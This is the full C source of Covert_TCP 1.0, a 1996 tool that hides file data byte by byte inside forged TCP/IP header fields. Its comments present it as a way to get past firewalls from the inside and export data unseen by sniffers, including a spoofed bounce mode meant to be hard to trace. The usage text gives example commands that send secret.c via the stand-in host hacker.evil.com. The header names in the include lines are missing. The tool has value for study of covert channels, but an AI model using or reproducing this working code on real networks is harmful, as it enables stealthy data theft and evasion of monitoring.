/* Covert_TCP 1.0 - Covert channel file transfer for Linux * Written by Craig H. Rowland (crowland@psionic.com) * Copyright 1996 Craig H. Rowland (11-15-96) * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. * * * This program manipulates the TCP/IP header to transfer a file one byte * at a time to a destination host. This progam can act as a server and a client * and can be used to conceal transmission of data inside the IP header. * This is useful for bypassing firewalls from the inside, and for * exporting data with innocuous looking packets that contain no data for * sniffers to analyze. In other words, spy stuff... :) * * PLEASE see the enclosed paper for more information!! * * This software should be used at your own risk. * * compile: cc -o covert_tcp covert_tcp.c * * * * Portions of this code based on ping.c (c) 1987 Regents of the * University of California. (See function in_cksm() for details) * * Small portions from various packet utilities by unknown authors */ #include #include #include #include #include #include #include #include #include #include #include #define VERSION "1.0" /* Prototypes */ void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short,char *,int,int,int,int); unsigned short in_cksum(unsigned short *, int); unsigned int host_convert(char *); void usage(char *); main(int argc, char **argv) { unsigned int source_host=0,dest_host=0; unsigned short source_port=0,dest_port=80; int ipid=0,seq=0,ack=0,server=0,file=0; int count; char desthost[80],srchost[80],filename[80]; /* Title */ printf("Covert TCP %s (c)1996 Craig H. Rowland (crowland@psionic.com)\n",VERSION); printf("Not for commercial use without permission.\n"); /* Can they run this? */ if(geteuid() !=0) { printf("\nYou need to be root to run this.\n\n"); exit(0); } /* Tell them how to use this thing */ if((argc < 6) || (argc > 13)) { usage(argv[0]); exit(0); } /* No error checking on the args...next version :) */ for(count=0; count < argc; ++count) { if (strcmp(argv[count],"-dest") == 0) { dest_host=host_convert(argv[count+1]); strncpy(desthost,argv[count+1],79); } else if (strcmp(argv[count],"-source") == 0) { source_host=host_convert(argv[count+1]); strncpy(srchost,argv[count+1],79); } else if (strcmp(argv[count],"-file") == 0) { strncpy(filename,argv[count+1],79); file=1; } else if (strcmp(argv[count],"-source_port") == 0) source_port=atoi(argv[count+1]); else if (strcmp(argv[count],"-dest_port") == 0) dest_port=atoi(argv[count+1]); else if (strcmp(argv[count],"-ipid") == 0) ipid=1; else if (strcmp(argv[count],"-seq") == 0) seq=1; else if (strcmp(argv[count],"-ack") == 0) ack=1; else if (strcmp(argv[count],"-server") == 0) server=1; } /* check the encoding flags */ if(ipid+seq+ack == 0) ipid=1; /* set default encode type if none given */ else if (ipid+seq+ack !=1) { printf("\n\nOnly one encoding/decode flag (-ipid -seq -ack) can be used at a time.\n\n"); exit(1); } /* Did they give us a filename? */ if(file != 1) { printf("\n\nYou need to supply a filename (-file )\n\n"); exit(1); } if(server==0) /* if they want to be a client do this... */ { if (source_host == 0 && dest_host == 0) { printf("\n\nYou need to supply a source and destination address for client mode.\n\n"); exit(1); } else if (ack == 1) { printf("\n\n-ack decoding can only be used in SERVER mode (-server)\n\n"); exit(1); } else { printf("Destination Host: %s\n",desthost); printf("Source Host : %s\n",srchost); if(source_port == 0) printf("Originating Port: random\n"); else printf("Originating Port: %u\n",source_port); printf("Destination Port: %u\n",dest_port); printf("Encoded Filename: %s\n",filename); if(ipid == 1) printf("Encoding Type : IP ID\n"); else if(seq == 1) printf("Encoding Type : IP Sequence Number\n"); printf("\nClient Mode: Sending data.\n\n"); } } else /* server mode it is */ { if (source_host == 0 && source_port == 0) { printf("You need to supply a source address and/or source port for server mode.\n"); exit(1); } if(dest_host == 0) /* if not host given, listen for anything.. */ strcpy(desthost,"Any Host"); if(source_host == 0) strcpy(srchost,"Any Host"); printf("Listening for data from IP: %s\n",srchost); if(source_port == 0) printf("Listening for data bound for local port: Any Port\n"); else printf("Listening for data bound for local port: %u\n",source_port); printf("Decoded Filename: %s\n",filename); if(ipid == 1) printf("Decoding Type Is: IP packet ID\n"); else if(seq == 1) printf("Decoding Type Is: IP Sequence Number\n"); else if(ack == 1) printf("Decoding Type Is: IP ACK field bounced packet.\n"); printf("\nServer Mode: Listening for data.\n\n"); } /* Do the dirty work */ forgepacket(source_host, dest_host, source_port, dest_port ,filename,server,ipid,seq,ack); exit(0); } void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned short source_port, unsigned short dest_port, char *filename, int server, int ipid , int seq, int ack) { struct send_tcp { struct iphdr ip; struct tcphdr tcp; } send_tcp; struct recv_tcp { struct iphdr ip; struct tcphdr tcp; char buffer[10000]; } recv_pkt; /* From synhose.c by knight */ struct pseudo_header { unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; } pseudo_header; int ch; int send_socket; int recv_socket; struct sockaddr_in sin; FILE *input; FILE *output; /* Initialize RNG for future use */ srand((getpid())*(dest_port)); /**********************/ /* Client code */ /**********************/ /* are we the client? */ if(server==0) { if((input=fopen(filename,"rb"))== NULL) { printf("I cannot open the file %s for reading\n",filename); exit(1); } else while((ch=fgetc(input)) !=EOF) { /* Delay loop. This really slows things down, but is necessary to ensure */ /* semi-reliable transport of messages over the Internet and will not flood */ /* slow network connections */ /* A better should probably be developed */ sleep(1); /* NOTE: I am not using the proper byte order functions to initialize */ /* some of these values (htons(), htonl(), etc.) and this will certainly */ /* cause problems on other architectures. I didn't like doing a direct */ /* translation of ASCII into the variables because this looked really */ /* suspicious seeing packets with sequence numbers of 0-255 all the time */ /* so I just read them in raw and let the function mangle them to fit its */ /* needs... CHR */ /* Make the IP header with our forged information */ send_tcp.ip.ihl = 5; send_tcp.ip.version = 4; send_tcp.ip.tos = 0; send_tcp.ip.tot_len = htons(40); /* if we are NOT doing IP ID header encoding, randomize the value */ /* of the IP identification field */ if (ipid == 0) send_tcp.ip.id =(int)(255.0*rand()/(RAND_MAX+1.0)); else /* otherwise we "encode" it with our cheesy algorithm */ send_tcp.ip.id =ch; send_tcp.ip.frag_off = 0; send_tcp.ip.ttl = 64; send_tcp.ip.protocol = IPPROTO_TCP; send_tcp.ip.check = 0; send_tcp.ip.saddr = source_addr; send_tcp.ip.daddr = dest_addr; /* begin forged TCP header */ if(source_port == 0) /* if the didn't supply a source port, we make one */ send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0)); else /* otherwise use the one given */ send_tcp.tcp.source = htons(source_port); if(seq==0) /* if we are not encoding the value into the seq number */ send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0)); else /* otherwise we'll hide the data using our cheesy algorithm one more time. */ send_tcp.tcp.seq = ch; /* forge destination port */ send_tcp.tcp.dest = htons(dest_port); /* the rest of the flags */ /* NOTE: Other covert channels can use the following flags to encode data a BIT */ /* at a time. A good example would be the use of the PSH flag setting to either */ /* on or off and having the remote side decode the bytes accordingly... CHR */ send_tcp.tcp.ack_seq = 0; send_tcp.tcp.res1 = 0; send_tcp.tcp.doff = 5; send_tcp.tcp.fin = 0; send_tcp.tcp.syn = 1; send_tcp.tcp.rst = 0; send_tcp.tcp.psh = 0; send_tcp.tcp.ack = 0; send_tcp.tcp.urg = 0; // send_tcp.tcp.res2 = 0; send_tcp.tcp.window = htons(512); send_tcp.tcp.check = 0; send_tcp.tcp.urg_ptr = 0; /* Drop our forged data into the socket struct */ sin.sin_family = AF_INET; sin.sin_port = send_tcp.tcp.source; sin.sin_addr.s_addr = send_tcp.ip.daddr; /* Now open the raw socket for sending */ send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(send_socket < 0) { perror("send socket cannot be open. Are you root?"); exit(1); } /* Make IP header checksum */ send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20); /* Final preparation of the full header */ /* From synhose.c by knight */ pseudo_header.source_address = send_tcp.ip.saddr; pseudo_header.dest_address = send_tcp.ip.daddr; pseudo_header.placeholder = 0; pseudo_header.protocol = IPPROTO_TCP; pseudo_header.tcp_length = htons(20); bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20); /* Final checksum on the entire package */ send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32); /* Away we go.... */ sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin)); printf("Sending Data: %c\n",ch); close(send_socket); } /* end while(fgetc()) loop */ fclose(input); }/* end if(server == 0) loop */ /***********************/ /* Passive server code */ /***********************/ /* we are the server so now we listen */ else { if((output=fopen(filename,"wb"))== NULL) { printf("I cannot open the file %s for writing\n",filename); exit(1); } /* Now we read the socket. This is not terribly fast at this time, and has the same */ /* reliability as UDP as we do not ACK the packets for retries if they are bad. */ /* This is just proof of concept... CHR*/ while(1) /* read packet loop */ { /* Open socket for reading */ recv_socket = socket(AF_INET, SOCK_RAW, 6); if(recv_socket < 0) { perror("receive socket cannot be open. Are you root?"); exit(1); } /* Listen for return packet on a passive socket */ read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999); /* if the packet has the SYN/ACK flag set and is from the right address..*/ if (source_port == 0) /* the user does not care what port we come from */ { /* check for SYN/ACK flag set and correct inbound IP source address */ if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr)) { /* IP ID header "decoding" */ /* The ID number is converted from it's ASCII equivalent back to normal */ if(ipid==1) { printf("Receiving Data: %c\n",recv_pkt.ip.id); fprintf(output,"%c",recv_pkt.ip.id); fflush(output); } /* IP Sequence number "decoding" */ else if (seq==1) { printf("Receiving Data: %c\n",recv_pkt.tcp.seq); fprintf(output,"%c",recv_pkt.tcp.seq); fflush(output); } /* Use a bounced packet from a remote server to decode the data */ /* This technique requires that the client initiates a SEND to */ /* a remote host with a SPOOFED source IP that is the location */ /* of the listening server. The remote server will receive the packet */ /* and will initiate an ACK of the packet with the encoded sequence */ /* number+1 back to the SPOOFED source. The covert server is waiting at this */ /* spoofed address and can decode the ack field to retrieve the data */ /* this enables an "anonymous" packet transfer that can bounce */ /* off any site. This is VERY hard to trace back to the originating */ /* source. This is pretty nasty as far as covert channels go... */ /* Some routers may not allow you to spoof an address outbound */ /* that is not on their network, so it may not work at all sites... */ /* SENDER should use covert_tcp with the -seq flag and a forged -source */ /* address. RECEIVER should use the -server -ack flags with the IP of */ /* of the server the bounced message will appear from.. CHR */ /* The bounced ACK sequence number is really the original sequence*/ /* plus one (ISN+1). However, the translation here drops some of the */ /* bits so we get the original ASCII value...go figure.. */ else if (ack==1) { printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq); fprintf(output,"%c",recv_pkt.tcp.ack_seq); fflush(output); } } /* end if loop to check for ID/sequence decode */ } /* End if loop checking for port number given */ /* if the packet has the SYN/ACK flag set and is destined to the right port..*/ /* we'll grab it regardless if IP addresses. This is useful for bouncing off of */ /* multiple hosts to a single server address */ else { if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port)) { /* IP ID header "decoding" */ /* The ID number is converted from it's ASCII equivalent back to normal */ if(ipid==1) { printf("Receiving Data: %c\n",recv_pkt.ip.id); fprintf(output,"%c",recv_pkt.ip.id); fflush(output); } /* IP Sequence number "decoding" */ else if (seq==1) { printf("Receiving Data: %c\n",recv_pkt.tcp.seq); fprintf(output,"%c",recv_pkt.tcp.seq); fflush(output); } /* Do the bounce decode again... */ else if (ack==1) { printf("Receiving Data: %c\n",recv_pkt.tcp.ack_seq); fprintf(output,"%c",recv_pkt.tcp.ack_seq); fflush(output); } } /* end if loop to check for source port decoding */ } /* end else loop to see if port number given to listen on */ close(recv_socket); /* close the socket so we don't hose the kernel */ }/* end while() read packet loop */ fclose(output); } /* end else(serverloop) function */ } /* end forgepacket() function */ /* clipped from ping.c (this function is the whore of checksum routines */ /* as everyone seems to use it..I feel so dirty...) */ /* Copyright (c)1987 Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted * provided that the above copyright notice and this paragraph are * dupliated in all such forms and that any documentation, advertising * materials, and other materials related to such distribution and use * acknowledge that the software was developed by the University of * California, Berkeley. The name of the University may not be used * to endorse or promote products derived from this software without * specific prior written permission. THIS SOFTWARE IS PROVIDED ``AS * IS'' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, * WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHATIBILITY AND * FITNESS FOR A PARTICULAR PURPOSE */ unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } /* end in_cksm() /* Generic resolver from unknown source */ unsigned int host_convert(char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if(i.s_addr == -1) { h = gethostbyname(hostname); if(h == NULL) { fprintf(stderr, "cannot resolve %s\n", hostname); exit(0); } bcopy(h->h_addr, (char *)&i.s_addr, h->h_length); } return i.s_addr; } /* end resolver */ /* Tell them how to use this */ void usage(char *progname) { printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename -source_port port -dest_port port -server [encode type]\n\n", progname); printf("-dest dest_ip - Host to send data to.\n"); printf("-source source_ip - Host where you want the data to originate from.\n"); printf(" In SERVER mode this is the host data will\n"); printf(" be coming FROM.\n"); printf("-source_port port - IP source port you want data to appear from. \n"); printf(" (randomly set by default)\n"); printf("-dest_port port - IP source port you want data to go to. In\n"); printf(" SERVER mode this is the port data will be coming\n"); printf(" inbound on. Port 80 by default.\n"); printf("-file filename - Name of the file to encode and transfer.\n"); printf("-server - Passive mode to allow receiving of data.\n"); printf("[Encode Type] - Optional encoding type\n"); printf("-ipid - Encode data a byte at a time in the IP packet ID. [DEFAULT]\n"); printf("-seq - Encode data a byte at a time in the packet sequence number.\n"); printf("-ack - DECODE data a byte at a time from the ACK field.\n"); printf(" This ONLY works from server mode and is made to decode\n"); printf(" covert channel packets that have been bounced off a remote\n"); printf(" server using -seq. See documentation for details\n"); printf("\nPress ENTER for examples."); getchar(); printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - source_port 1234 -dest_port 80 -file secret.c\n\n"); printf("Above sends the file secret.c to the host hacker.evil.com a byte \n"); printf("at a time using the default IP packet ID encoding.\n"); printf("\nExample: \ncovert_tcp -dest foo.bar.com -source hacker.evil.com - dest_port 80 -server -file secret.c\n\n"); printf("Above listens passively for packets from hacker.evil.com\n"); printf("destined for port 80. It takes the data and saves the file locally\n"); printf("as secret.c\n\n"); exit(0); } /* end usage() */